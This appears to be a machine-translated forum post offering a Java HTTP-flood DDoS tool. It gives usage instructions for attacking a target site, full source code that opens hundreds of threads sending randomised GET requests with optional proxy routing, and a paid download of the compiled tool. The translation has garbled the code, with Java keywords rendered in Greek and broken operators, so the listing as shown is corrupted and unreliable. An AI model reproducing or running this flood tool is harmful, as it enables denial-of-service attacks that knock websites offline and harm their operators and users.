κωδικός βάζου Επίθεση dDOS που υλοποιείται από java. Ωστόσο, δεν διαφέρει από τα παραδοσιακά dDos. Αυτό το λογισμικό είναι μια επίθεση DDOS σε μια σελίδα. Τρόπος χρήσης: java -jar ccddos.jar www.xxx.com 80 10 /index.do όνομα χρήστη=xxx 80
[mw_shl_code=java,true]import java.io.IOException; εισαγωγή java.net.ConnectException; εισαγωγή java.net.InetSocketAddress; εισαγωγή java.nio.ByteBuffer; εισαγωγή java.nio.channels.SelectionKey; εισαγωγή java.nio.channels.Selector; εισαγωγή java.nio.channels.SocketChannel; εισαγωγή java.util.Iterator; εισαγωγή java.util.Random; εισαγωγή java.util.Set; εισαγωγή java.util.Timer; εισαγωγή java.util.TimerTask; εισαγωγή java.util.Vector;
/** * Νήματα δαίμονα
* * @author διοίκηση
* */ Τεστ δημόσιας τάξης { ιδιωτικός οικοδεσπότης συμβολοσειρών, uri, param; ιδιωτική θύρα εισόδου· ιδιωτικό τελικό Vector<CCDDOSThread> v = νέο Vector<CCDDOSThread>(); ιδιωτικό InetSocketAddress isa; private int threadsCount = 500; Αριθμός νημάτων private Random r = νέο Random(); ιδιωτικό μεγάλο χρονικό όριο = 5000l;
/** * Ανοίξτε την επίθεση */ public void start() { για (int i = 0; i < threadsCount; i++) { CCDDOSThread t = νέο CCDDOSThread(); v.add(t); t.start();
} Χρονοδιακόπτης t = νέος χρονοδιακόπτης(); t.schedule(new TimerTask() { public void run() { αριθμός int = 0, timeoutthreads = 0; μακρύ ct = System.currentTimeMillis(); for (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) { CCDDOSThread th = it.next(); if (th.isCancle() || !th.isAlive()) { it.remove(); th = μηδενικό; αριθμός++; } αλλιώς αν (ct - th.start > timeout) { Χρονικό όριο, εξωτερικό τέλος timeoutthreads++; th.setCancle(true); th.interrupt(); it.remove(); th = μηδενικό; αριθμός++; } } αν (πλήθος == 0) { επιστροφή; } System.out.println("Το νήμα έχει κλείσει:"+count+", όπου είναι συνδεδεμένο το νήμα χρονικού ορίου:" + τάιμ άουτνήματα); για (int i = 0; < μετρήσω. i++) { CCDDOSThread th = νέο CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100l); System.out.println("Το νήμα Daemon ξεκίνησε:"); }
/** * @param args */ public static void main(String[] args) { αν (args.length < 6) { System.out.println("Οδηγίες:"); Σύστημα.έξω .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); Σύστημα.έξοδος(0); } αλλιώς αν (args.length >= 8) { Ρύθμιση με εκπρόσωπο System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", args[7]); }
δοκιμή m = νέα δοκιμή(); m.host = args[0]; m.port = Ακέραιος.τιμήOf(args[1]); m.uri = args[3]; m.param = args[4]; m.threadsCount = Ακέραιος.τιμήOf(args[2]); m.timeout = Long.valueOf(args[5]); m.isa = νέο InetSocketAddress(m.host, m.port); m.start(); }
/** * Νήματα επίθεσης * * @author zhanghongbo * */ Η κλάση CCDDOSThread επεκτείνει το νήμα { ιδιωτικό boolean cancle = ψευδές; public long start = System.currentTimeMillis();
public void setCancle(boolean cancle) { this.cancle = cancle; }
public boolean isCancle() { επιστροφή cancle? }
public void run() { μακρά εκκίνηση = System.currentTimeMillis(); Επιλογέας επιλογέα; δοκιμάστε { επιλογέας = Selector.open(); SocketChannel sc; δοκιμάστε { sc = SocketChannel.open(isa); } catch (ConnectException ex) { System.out.println(ex.getMessage()); cancle = αληθές; selector.close(); επιστροφή; }
sc.configureBlocking(false); sc.register(επιλογέας, SelectionKey.OP_WRITE | SelectionKey.OP_READ); Περιμένετε: ενώ (selector.select() > 0 && !cancle) { if (System.currentTimeMillis() - έναρξη > χρονικό όριο) { cancle = αληθές; διάλειμμα περίμενε? } Set<?> readykey = selector.selectedKeys(); Iterator<?> it = readykey.iterator(); ενώ (it.hasNext() &&& !cancle) { if (System.currentTimeMillis() - έναρξη > χρονικό όριο) { cancle = αληθές; διάλειμμα περίμενε? } Κλειδί επιλογής = (SelectionKey) it.next(); it.remove(); SocketChannel scc = (SocketChannel) skey.channel();
if ((skey.readyOps() &SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { Κεφαλή συμβολοσειράς = "GET " + uri + "?" + παράμετρος + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Κεντρικός υπολογιστής: " + κεντρικός υπολογιστής + "\r\n" + "Σύνδεση:κοντά\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.write(bbf); } skey.cancel(); scc.close(); } } selector.close(); sc.close();
} catch (IOException ex) { cancle = αληθές; } } }
} [/mw_shl_code]
Λήψη τελικού προϊόντος και πηγαίου κώδικα:
java ddos.zip
(8.42 KB, Αριθμός λήψεων: 0, Τιμή πώλησης: 2 Κόκκος MB)
|